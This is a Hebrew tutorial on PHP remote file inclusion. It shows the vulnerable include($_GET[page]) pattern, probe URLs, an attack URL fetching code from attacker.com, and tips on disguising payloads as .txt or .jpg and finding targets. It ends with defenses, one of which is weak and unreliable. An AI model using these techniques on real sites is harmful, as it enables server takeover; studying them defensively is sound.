הזרקת PHP (PHP Injection)

מתן צור

.

תוכן

1. על מה ההתקפה מתבססת?

ההתקפה מתבססת על אתרים שעושים שימוש לא מוגן בפונקציות include ו require בשפת PHP.

הסבר על הפונקציות require ו- include

הפונקציות הנ"ל מקבלות נתיב של קובץ PHP ומייבאות אותו. התוכן של הקובץ שהן מקבלות את הנתיב שלו מועתק לתוך קוד הPHP בדיוק איפה שהקריאה לפונקציה מופיעה, והקוד שמופיע בקובץ PHP מורץ על השרת.

השימוש בפונקציות מתבצע כך:

```
Require ($file_path);
Include ($file_path);
```

השוני בין 2 הפונקציות הוא שהפונקציה Include תמשיך בתוכנית אם תהיה שגיאה כלשהיא, ואילו הפונקציה Require תפסיק את התוכנית.

הבעיה

כאשר מייבאים קובץ PHP לקובץ אחר כאשר שניהם על אותו שרת, הקובץ מיובא לקובץ שהריץ את הפונקציה, וקוד הPHP בקובץ מורץ על השרת. לדוג' אם השתמשנו בפונקציה כך:

```
Include (main.php);
```

הקוד שמופיע ב main.php ייובא לקובץ בו קראנו לפונקציה, ויורץ על השרת.

לעומת זאת אם ננסה לייבא קובץ PHP משרת אחר, לדוג' כך:

```
Include (http://www.example.com/index.php);
```

הקוד לא יורץ על השרת שבו הורצה הפונקציה, כי הפלט שיתקבל מן השרת example.com, ומהקובץ index.php יהיה עמוד HTML.

הבעייתיות:

אם נכתוב קוד PHP בתוך קובץ שלא מסוג PHP, שכאשר משתמש יגש לשרת שעליו הוא מתארח הוא יהיה מסוגל לקרוא את קוד הPHP, ולא יקבל פלט HTML או פלט אחר כלשהוא, הפונקציה תריץ את קוד הPHP שמופיע בקובץ, אם נייבא אותו לקובץ ה PHP שלנו.

לדוגמא נשמור את קוד הPHP על קובץ מסוג txt ונריץ את הפונקציה על השרת שלנו כך:

```
Include (http://www.example.com/file.txt);
```

הפונקציה תייבא את הקובץ file.txt לשרת, ותריץ את קוד ה PHP שבו.

אתר בעייתי

אתרים רבים משתמשים בשתי הפקודות שמניתי להלן, ללא ידיעה על הבעייתיות שבהן. מה שקורה, שאתרים רבים משתמשים בקריאה לפונקציות, ושולחות כפרמטר נתיב שמתבסס על קלט מהמשתמש או ממשתנה שמופיע בURL של האתר לדוג':

URL: http://www.example.com/index.php?page=main.php

ובתוך קוד הPHP כך:

```
Include ($_GET[page]);
```

תוקף פוטניצאלי, יכול לנצל את זה, ולשנות את הפרמטר שנשלח בURL לכתובת של קובץ שמכיל קוד PHP זדוני, וכך להריץ פקודות זדוניות על השרת.

2. איך לזהות אתר פגיע?

ניתן לראות שאתר פגיע, על-ידי הסתכלות בפרמטרים שנשלחים דרך הURL . לדוג' אתר שמופיע בURL שלו דברים כמו page=main.php.
לעתים רבות גם אתר שמופיע בURL שלו פרמטרים כאלה לא יהיה פגיע. זה נובע משום שלפעמים הפרמטר המתקבל הוא פרמטר שמטרתו לצרף את הדף המבוקש לדף השני כ frame, ולא בעזרת אחת הפונקציות Include או Require.
כיצד לבדוק באמת האם אתר פגיע?
נשנה את הפרמטר כך:
http://www.example.com/index.php?page=http://www.google.com
עכשיו נותר לראות מה קורה בדף.
אם אנו רואים שמופיע גוגל ישראל, או גוגל com עם הפנייה לגוגל ישראל – נדע שהאתר משתמש בframe והוא לא פגיע. לעומת זאת, אם יופיע בדף גוגל com בלי הפנייה לגוגל ישראל, או גוגל בשפה אחרת כלשהיא – נדע שהאתר פגיע.
כמו כן ניתן לשנות את הפרמטר כך:
http://www.example.com/index.php?page=http://www.whatismyiip.com
ולראות אם הIP המתקבל הוא הIP של המחשב שלנו, או הIP של השרת הפגיע.
לעתים ,הפרמטר המקבל מופיע בלי הסיומת PHP לדוג':
Page=main
ואז יש פעמים שהסיומת PHP מתווספת לאחר מכן לפרמטר, שלבסוף כן ישלח לאחת הפונקציות של ייבוא קובץ.
אז ניתן לנסות עם אתר אחר מאלה שמניתי, שהסיומת שלו PHP, רק להשמיט אותה לפני שאנו שולחים אותה כפרמטר לדף הפגיע.
ישנן אין-סוף דרכים, אני מניתי רק כמה רעיונות.

3. דרכי התקפה

כבר לפי כל מה שכתבתי אפשר להבין איך להתקיף אתר פגיע. ניתן לכתוב כל קוד PHP שרוצים, החל מקוד PHP שיערוך קבצים על השרת, ועד קוד שנותן גישת Shell מלאה.
הטריק הוא כמו שאמרתי לשמור את הקובץ עם סיומת אחרת מPHP כגון:txt, doc או כל דבר אחר, ולשלוח את כתובת הקובץ כפרמטר:
http://www.example.com/index.php?page=http://www.attacker.com/injection.txt
שיטה נחמדה אחת היא לפתוח קובץ חדש ב notepad ולשמור את קוד הPHP עם סיומת jpg. אחרי זה ניתן להעלות אותו לשרת שנותן אפשרות להעלות תמונות ולהשתמש בו איך שרוצים(יש אתרים שמזהים שמדובר בקובץ jpg 'פגום', וימנעו את ההעלאה).
אם יש מקרה שהאתר הפגיע מוסיף לפרמטר את הסיומת PHP, ניתן לשמור את הקוד הזדוני שנרצה להריץ על השרת גם עם סיומת PHP, וזאת בתנאי שלא נפתח את הקוד בקובץ עם php?> ולא נסיים אותו עם <?. ככה השרת עליו הוא מאוכסן לא יריץ אותו, אלא ישלח אותו כקוד גולמי, שיורץ על השרת שייבא אותו(האתר הפגיע).
קצרה היריעה מלהכיל את כל מה שניתן לעשות באמצעות קובץ PHP לשרת עליו הוא מורץ. זוהי פרצת אבטחה מאוד רצינית, ואתר שיש בו אותה – מסכן את כל המידע באתר(ניתן בקלות למצוא אתרים פגיעים באמצעות גוגל).

4. דרכי הגנה

גם בהגנה כמו בהתקפה ישנן מספר דרכים למנוע את הפרצה. אני אמנה מספר דרכים, אבל ישנן דרכים רבות.

1. כאשר אין סיבה מוצדקת לשימוש דווקא בפונקציית ייבוא, אין סיבה לא להשתמש ב frame (ב HTML).
2. לסנן את הפרמטר שהתקבל ולבדוק האם הוא דף קיים על השרת, אחרת לא להריץ את פונקציית הייבוא.
3. להוסיף לכל פרמטר שמתקבל שמיועד ליבוא דף מהשרת, את כתובת השרת לדוג':

```
$Path= 'http://www.example.com/'.$_GET[page];
Require ($Path);
```

5. סיכום ומקורות נוספים

מדובר בפירצת אבטחה מאוד מסוכנת, שנותנת לתוקף פוטנציאלי אפשרות להריץ איזה קוד PHP על השרת הפגיע. יש עדיין אתרים רבים שהפירצה הזאת לא תוקנה בהם.

עוד מקורות:

PHP Injection
http://www.illgotten.net/view/285.php

על הפונקציות require וinclude באתר PHP ישראל
http://php.eitan.ac.il/main.php?id=00145

על הפונקציה require באתר php.net
http://il.php.net/manual/he/function.require.php

על הפונקציה include באתר php.net
http://il.php.net/manual/en/function.include.php

לשאלות והצעות ניתן לפני לפנות אליי באי-מייל:
Mtk12b@gmail.com